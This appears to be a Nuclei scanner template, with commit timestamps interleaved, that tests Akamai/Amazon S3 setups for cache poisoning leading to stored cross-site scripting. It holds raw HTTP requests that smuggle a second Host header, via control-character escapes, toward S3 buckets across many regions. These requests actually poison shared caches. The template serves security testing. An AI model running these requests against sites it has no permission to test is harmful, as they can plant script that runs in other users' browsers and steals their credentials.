2023-01-05 18:00:26 +00:00
id : akamai-s3-cache-poisoning
info :
2023-03-10 18:41:55 +00:00
name : Akamai/Amazon S3 - Cache Poisoning
2023-01-05 18:00:26 +00:00
author : DhiyaneshDk
2023-03-27 17:46:47 +00:00
severity : high
2023-03-10 18:41:55 +00:00
description : Akamai/Amazon S3 expose a stored cross-site scripting vulnerability generated by cache poisoning capability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can further allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-01-05 18:00:26 +00:00
reference :
2023-01-19 22:07:50 +00:00
- https://web.archive.org/web/20230101082612/https://spyclub.tech/2022/12/14/unusual-cache-poisoning-akamai-s3/
2023-01-05 18:00:26 +00:00
- https://owasp.org/www-community/attacks/Cache_Poisoning
2023-03-10 18:41:55 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
cvss-score : 7.1
cwe-id : CWE-44
2023-01-05 18:00:26 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 204
2023-06-04 08:13:42 +00:00
verified : true
2023-08-18 16:23:19 +00:00
tags : cache,poisoning,xss,akamai,s3,misconfig
2023-01-05 18:00:26 +00:00
variables :
rand : "{{rand_base(5)}}"
2023-04-27 04:28:59 +00:00
http :
2023-01-05 18:00:26 +00:00
- raw :
- |+
GET /nuclei.svg?{{rand}}=x HTTP/1.1
Host : {{Hostname}}
{{escape}}Host : {{bucket}}
- |+
GET /nuclei.svg?{{rand}}=x HTTP/1.1
Host : {{Hostname}}
attack : clusterbomb
payloads :
escape :
- "\x0b"
- "\x0c"
- "\x1c"
- "\x1d"
- "\x1e"
- "\x1f"
bucket :
- "nuclei-ap-northeast-1"
- "nuclei-ap-northeast-2"
- "nuclei-ap-northeast-3"
- "nuclei-ap-south-1"
- "nuclei-ap-southeast-1"
- "nuclei-ap-southeast-2"
- "nuclei-ca-central-1"
- "nuclei-eu-central-1"
- "nuclei-eu-north-1"
- "nuclei-eu-west-1"
- "nuclei-eu-west-2"
- "nuclei-eu-west-3"
- "nuclei-sa-east-1"
- "nuclei-us-east-1"
- "nuclei-us-east-2"
- "nuclei-us-west-1"
- "nuclei-us-west-2"
stop-at-first-match : true
unsafe : true
matchers :
- type : dsl
dsl :
- 'contains(body_2, "alert(document.domain)")'
- 'status_code_2 == 200'
condition : and